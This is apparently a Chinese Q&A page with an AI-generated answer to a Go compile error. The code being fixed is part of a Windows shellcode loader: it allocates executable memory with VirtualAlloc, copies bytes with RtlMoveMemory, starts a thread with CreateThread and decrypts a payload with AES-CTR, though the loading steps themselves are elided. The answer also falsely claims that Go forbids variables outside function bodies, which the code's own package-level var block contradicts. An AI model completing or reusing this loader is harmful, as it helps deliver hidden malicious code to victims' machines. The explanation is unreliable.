这段 Go 代码编译报错 "syntax error: non-declaration statement outside function body",是因为在函数体外部定义了变量 varNames,而 Go 语言不允许在函数体外部定义变量。

为了修复该错误,需要将 varNames 的定义移动到 main 函数内部:

package main

import (
    "crypto/aes"
    "crypto/cipher"
    "encoding/base64"
    "io/ioutil"
    "reflect"
    "strconv"
    "syscall"
    "time"
    "unsafe"
)

const (
    MEM_COMMIT             = 0x1000
    MEM_RESERVE            = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40
)

var (
    kernel32      = syscall.NewLazyDLL("kernel32.dll")
    ntdll         = syscall.NewLazyDLL("ntdll.dll")
    VirtualAlloc  = kernel32.NewProc("VirtualAlloc")
    RtlMoveMemory = ntdll.NewProc("RtlMoveMemory")
    CreateThread  = kernel32.NewProc("CreateThread")
)

func AesCipher(key []byte, src []byte) []byte {
    block, _ := aes.NewCipher(key)
    iv := make([]byte, aes.BlockSize)
    stream := cipher.NewCTR(block, iv)
    dst := make([]byte, len(src))
    stream.XORKeyStream(dst, src)
    return dst
}

// ... 其它函数定义 ...

func main() {
    varNames := [][]string{
        {"AesKey", "key", "src", "block", "iv", "stream", "dst"},
        {"cipher", "key", "src"},
        {"src", "payloadBytes", "encodedBytes", "bdata"},
        {"src", "decodedBytes", "payloadBytes"},
        {"charcode", "addr", "handle"},
        {"filename", "data"},
        {"payload", "encodedPayload", "shellCodeHex"},
    }
    // ... 剩余代码 ...
}

通过将 varNames 定义移动到 main 函数内部,代码就可以正常编译运行了。

其他可能的错误:

除了变量定义的位置错误以外,还有其他可能导致 "syntax error: non-declaration statement outside function body" 错误的原因,例如:

  • 在函数体外部执行了函数调用或表达式。
  • 在函数体外部使用了未声明的变量。

如果出现编译错误,仔细检查代码,确认所有变量定义和语句都位于正确的函数体内。

Go 代码编译报错: syntax error: non-declaration statement outside function body

原文地址: https://www.cveoy.top/t/topic/lKJX 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录